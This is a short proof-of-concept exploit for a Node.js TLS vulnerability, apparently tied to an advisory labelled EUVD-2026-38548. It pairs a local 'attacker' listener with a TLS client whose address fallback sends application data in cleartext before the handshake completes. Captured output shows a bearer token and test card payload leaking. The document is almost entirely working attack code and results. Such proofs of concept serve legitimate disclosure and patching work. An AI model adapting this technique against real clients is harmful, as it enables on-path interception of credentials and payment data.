Node.js EUVD-2026-38548

import net from "node:net";

const server = net.createServer((socket) => {
  console.log("[attacker] client connected from", socket.remoteAddress);
  socket.on("data", (chunk) => {
    // If TLS were working, this would be an opaque ClientHello.
    // If the bug fires, we see the application payload in cleartext.
    console.log("[attacker] received", chunk.length, "bytes:");
    console.log(chunk.toString("utf8"));
  });
});

server.listen(4444, "127.0.0.1", () => {
  console.log("[attacker] listening on 127.0.0.1:4444");
});

import tls from "node:tls";

const socket = tls.connect({
  host: "api.example.invalid",
  port: 4444,
  autoSelectFamily: true, // Node-compat default

  // First address is a black hole (nothing on [::1]:4444),
  // so autoSelectFamily falls back to the second address.
  // In a real attack, the on-path attacker arranges this via
  // routing, DNS, or by dropping the first SYN.
  lookup: (_host, _opts, cb) => {
    cb(null, [
      { address: "::1",       family: 6 }, // fails -> retry
      { address: "127.0.0.1", family: 4 }, // attacker
    ]);
  },

  rejectUnauthorized: false,
});

// Application writes BEFORE secureConnect - common pattern in
// Node clients that pipe a request body or send a greeting.
socket.write("POST /v1/charge HTTP/1.1\r\n");
socket.write("Authorization: Bearer sk_live_SECRET_TOKEN\r\n");
socket.write("Content-Type: application/json\r\n\r\n");
socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" }));

socket.on("secureConnect", () => console.log("[victim] secureConnect"));
socket.on("error",         (e) => console.log("[victim] error:", e.message));

[attacker] received 41 bytes:
POST /v1/charge HTTP/1.1
Authorization: Bearer sk_live_SECRET_TOKEN
...